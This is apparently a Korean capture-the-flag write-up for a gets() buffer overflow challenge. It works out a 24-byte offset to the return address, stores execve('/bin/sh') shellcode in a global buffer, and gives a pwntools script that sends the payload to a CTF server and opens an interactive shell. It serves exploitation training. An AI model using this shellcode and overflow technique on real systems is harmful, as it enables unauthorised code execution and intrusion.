main 함수다! Name 과 Input 을 입력받는데, Name -> read함수로 0x32 만큼, Input -> gets함수로 입력을 받는다.
그렇다면 gets 함수에서 입력을 받을때 BOF(Buffer Over Flow) 가 발생할 수 있다.
gets 로 입력을 받을때, return주소까지 값을 채워넣어
return 주소에 shell code 를 작성해 넣자.
checksec 로 확인해보면 아무런 메모리보호기법이 적용되어있지 않다. 그렇다면 이제 payload 를 작성해보자.
- 쉘코드 주소 정하기
- return 주소 구하기
- 쉘코드 짜기
- exploit 코드 짜기 (python)
[ 1 ]
쉘코드의 주소는
전역변수인 name 으로 정했다!
[ 2 ]
[ ebp ]
[ ret address ]
main 함수 내에서 스택의 모습이다.
input 은 ebp-0x14 에 입력을 받고,
ret address 는 ebp+4 에 있으니
ebp-0x14 ~ ret 까지 거리는
0x18 = 24
[ 3 ]
쉘코드를 c언어로 작성해서
컴파일 후 디스어셈블해서 붙여넣을수 있지만,
name의 크기인 32h (50) 바이트의 제약이 있으니
인터넷에서 쉘코드쇼핑을 해보자
요기 아주 고마운사이트가 있다. 이제 exploit 코드를 짜보자
[ 4 ]
Name : 쉘코드
Input : Dummy(24) + Name 주소
이렇게 payload를 정했으니 코드로 옮겨보자
[ python ]
from pwn import *
p=remote("ctf.j0n9hyun.xyz",3003)
Name=p32(0x804a060)
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload='h'*24+Name
p.recvuntil("Name :")
p.sendline(shellcode)
p.recvuntil("input :")
p.sendline(payload)
p.interactive()
FLAG
↓↓↓↓
더보기
Try yourself please.